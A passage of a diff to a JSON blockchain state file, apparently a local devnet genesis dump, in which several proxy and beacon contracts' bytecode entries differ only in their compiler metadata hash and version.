b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -225,7 +225,7 @@ "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", "0x0000000000000000000000000000000000000000000000000000000000000001": "0x000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788" @@ -234,7 +234,7 @@ "0xc5a5c42992decbae36851359345fe25997f5c42d": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120001", "0x0000000000000000000000000000000000000000000000000000000000000001": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -248,7 +248,7 @@ "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000000000000000000000000000000000000000000001", "0x0000000000000000000000000000000000000000000000000000000000000033": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", @@ -263,7 +263,7 @@ "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9": { "nonce": 1, "balance": "0x0", - "code": 